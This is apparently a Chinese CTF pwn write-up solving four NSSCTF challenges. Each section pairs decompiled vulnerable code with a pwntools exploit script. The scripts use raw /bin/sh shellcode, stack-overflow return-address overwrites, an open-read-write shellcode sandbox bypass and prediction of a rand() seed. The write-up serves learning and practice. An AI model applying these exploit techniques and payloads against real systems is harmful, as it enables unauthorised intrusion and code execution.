Shellcode
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Please.");
read(0, &name, 0x25uLL);
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 0x40uLL);
return 0;
}
正常的asm(shellcraft.sh()) 的长度是44字节 大于了0x25 ,随便去网上找一个小于0x25的shellcode即可,
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node3.anna.nssctf.cn',28623)
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendlineafter("Please.\n",shellcode)
print(hex(len(shellcode)))
payload = 'a'*(0xa+8)+p64(0x6010a0)
p.sendlineafter('start!\n',payload)
p.interactive()
真男人下120层
代码太长我就不 全贴 ,贴有bug的地方
setbuf(_bss_start, 0LL);
v3 = time(0LL);
srand(v3);
v8 = 2772839826LL;
v4 = rand();
srand(v4 % 3 - 1522127470);
可以看到 种子函数的值是我们可以确定的数值,无非就三种可能
1 :0 - 1522127470
2 :1 - 1522127470
3 :2 - 1522127470
因为种子值能够确定,那么我们就能计算出随机值了
//伪随机数
#include <stdio.h>
#include <stdlib.h>
int main()
{
int b;
srand(0 - 1522127470);
for (size_t i = 1; i <=120; i++)
{
b = rand() % 4 + 1;
printf("\'%d\',", b);
}
return 0;
}
要在linux下运行,linux和win 下生成的随机值是不一样的
运行上面的数据我们就能得到一串数据
exp
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node4.anna.nssctf.cn',28737)
s = ['4','3','2','2','3','3','1','1','2','4','3','4','3','1','2','2','4','2','2','2','4','2','3','2','1','4','3','1','4','2','1','3','4','3','1','2','1','1','2','2','4','4','2','3','4','3','4','4','1','1','1','4','2','3','1','3','2','3','3','2','4','4','4','3','2','4','4','2','4','1','3','4','1','4','2','4','3','1','3','3','1','3','2','3','2','2','1','3','4','3','4','3','2','4','1','3','3','4','4','3','4','3','2','4','2','3','4','4','3','2','2','3','1','3','1','2','4','1','4','3'] #上面运行得到的
for i in range(120):
p.recv()
p.sendline(str(s[i]))
p.recv()
p.recv()
p.recv()
注意:运行一次不一定能够打通,只有三分之一的可能哦
Random
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node6.anna.nssctf.cn',28473)
jmp = 0x000000000040094e
bss = 0x601080
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, bss, 0x50)
orw_payload += shellcraft.write(1, bss,0x50)
payload=asm(shellcraft.read(0,bss,0x100))+asm('mov rax,0x601080;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp)+asm('sub rsp,0x30;jmp rsp')
p.sendlineafter(":",'22')
p.sendlineafter('door\n',payload)
shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()
ssize_t vulnerable()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("your door");
return read(0, buf, 0x40uLL);
}
能输入的地方太小了,由于开了沙盒,不能直接getshell,建一个read的shellcode ,来读我们的ORW,再用jmp指令,
我看见rand %50 也不大,就直接试试运气了 ,多试几次就通了,
EASY PWN
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = remote('node6.anna.nssctf.cn',28164)
payload = 'a'*(0x1f+8)+p16(0x11D6)
p.sendlineafter(":\n",payload)
p.interactive()
esay_pwn果然easy, gets处有溢出,开了pie,直接改return的地址为print_flag()函数的地址,去执行print_flag()函数